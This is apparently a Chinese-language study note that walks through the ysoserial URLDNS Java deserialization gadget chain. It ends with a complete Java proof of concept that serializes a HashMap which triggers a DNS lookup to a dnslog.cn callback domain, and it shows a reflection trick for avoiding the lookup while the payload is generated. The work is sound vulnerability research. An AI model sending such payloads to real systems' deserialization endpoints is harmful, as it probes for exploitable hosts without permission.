ysoserial
ysoserial
在idea构建好项目,添加依赖真是麻了,在其pom.xml上有几个依赖位置已经改变,需要手动导入jar包。。
项目准备好后,在pom.xml找到入口类
报错了,这是因为没有传入参数,我们分析URLDNS,在编辑配置里添加程序实参
URLDNS “http://r5z2ag.ceye.io”
可见执行成功
至此能获得序列化数据
URLDNS
URLDNS是ysoserial序列化中比较简单的一个链,URLDNS的利用效果是只能触发一次dns请求,而不能去执行命令。比较适用于漏洞验证这一块,而且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法,所以不受jdk版本限制
找到位于URLDNS.java
注释里面的调用链
ht.put(u,url),在put打个断点,进入HashMap,找到readObject,putVal中,对key进行hash处理
hash方法的实现
跟进hashcode
跟到handler,hashcode不等于-1将传入hashcode方法,hashcode方法中还调用了handler的hashcode进handler,transient修饰
调用了URLStreamHandler,步进
取得协议名称
这个应该返回域名地址
getByName方法返回IP,会被记录到DNSLOG
总结的或许有些疏漏:
HashMap.readObject() -> HashMap.putVal()->HashMap.hash()->URL.hashcode()->URLStreamHandler().hashCode().getHostAddress->URLStreamHandler().hashCode().getHostAddress.getByName()
参考文章Exp
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://j0obud.dnslog.cn/");
Class clas = Class.forName("java.net.URL");
Field field = clas.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,123);
map.put(url,"2333");
field.set(url,-1);
try {
FileOutputStream outputStream = new FileOutputStream("./2.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
FileInputStream inputStream = new FileInputStream("./2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
tips:
HashMap map = new HashMap();
URL url = new URL(“http://j0obud.dnslog.cn/”);
Class clas = Class.forName(“java.net.URL”);
Field field = clas.getDeclaredField(“hashCode”);
field.setAccessible(true);
field.set(url,123);
map.put(url,“2333”);
field.set(url,-1);
因为在生成payload的时候会发起一次DNS请求,上面代码的作用就是使刚刚分析中hashcode要不等于-1才会进入URLStreamHandler,因此我们在put方法前修改hashcode的值,put方法后再改回来就可以规避生成payload的过程中发起DNS请求